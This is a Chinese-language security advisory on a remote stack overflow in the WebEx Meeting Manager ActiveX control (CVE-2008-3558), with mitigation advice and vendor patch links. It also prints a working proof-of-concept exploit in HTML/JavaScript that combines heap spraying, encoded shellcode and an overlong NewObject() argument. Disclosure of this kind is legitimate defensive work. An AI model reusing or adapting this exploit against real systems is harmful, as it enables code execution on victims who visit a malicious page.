安全研究
安全漏洞
WebEx会议管理器atucfobj.dll ActiveX控件远程栈溢出漏洞
发布日期：2008-08-06
更新日期：2008-08-07
受影响系统：
WebEx Meeting Manager atucfobj.dll 20.2008.2601.4928不受影响系统：
WebEx Meeting Manager atucfobj.dll 20.2008.2606.4919描述：
BUGTRAQ ID: 30578
CVE(CAN) ID: CVE-2008-3558,CVE-2008-2737
WebEx是全球最大的网络通信服务供应商，可提供电信级网络会议解决方案。
WebEx会议管理器使用了一些ActiveX控件，其中的WebexUCFObject控件（atucfobj.dll，CLSID：32E26FD9-F435-4A20-A561-35D4B987CFDC）没有正确地验证对NewObject()方式的输入参数。如果用户受骗访问了恶意网页并向该方式传送了超长参数的话，就可能触发栈溢出，导致执行任意指令。
<*来源：Elazar Broad （elazarb@earthlink.net）
链接：http://marc.info/?l=full-disclosure&m=121804703121517&w=2
http://secunia.com/advisories/31397/
http://www.cisco.com/warp/public/707/cisco-sa-20080814-webex.shtml
*>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
<body>
<object classid=clsid:32E26FD9-F435-4A20-A561-35D4B987CFDC id=target />
</object>
<script language=javascript>
// k`sOSe 08/08/2008
// tested in IE6, XP SP1
var shellcode = unescape("%ue8fc%u0044%u0000%u458b%u8b3c%u057c%u0178%u8bef%u184f%u5f8b%u0120%u49eb%u348b%u018b%u31ee%u99c0%u84ac%u74c0%uc107%u0dca%uc201%uf4eb%u543b%u0424%ue575%u5f8b%u0124%u66eb%u0c8b%u8b4b%u1c5f%ueb01%u1c8b%u018b%u89eb%u245c%uc304%u315f%u60f6%u6456%u468b%u8b30%u0c40%u708b%uad1c%u688b%u8908%u83f8%u6ac0%u6850%u8af0%u5f04%u9868%u8afe%u570e%ue7ff%u3a43%u575c%u4e49%u4f44%u5357%u535c%u5359%u4554%u334d%u5c32%u4143%u434c%u452e%u4558%u4100");
var block = unescape("%u0909%u0909");
while (block.length < 0x25000) block += block;
var memory = new Array();
var i=0;
for (;i<1000;i++) memory[i] += block + shellcode;
memory[i] += shellcode;
var buf2;
for (var i=0; i<151; i++) buf2 += "X";
buf2 += unescape("%09%09%09%09");
target.NewObject(buf2);
</script>
</body>
</html>
建议：
临时解决方法：
如果您不能立刻安装补丁或者升级，NSFOCUS建议您采取以下措施以降低威胁：
* 为受影响的控件设置kill bit。
厂商补丁：
Cisco
-----
Cisco已经为此发布了一个安全公告（cisco-sa-20080814-webex）以及相应补丁:
cisco-sa-20080814-webex：Vulnerability in Cisco WebEx Meeting Manager ActiveX Control
链接：http://www.cisco.com/warp/public/707/cisco-sa-20080814-webex.shtml
WebEx
-----
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：
http://www.webex.com/
浏览次数：3825
严重程度：0（网友投票）
绿盟科技给您安全的保障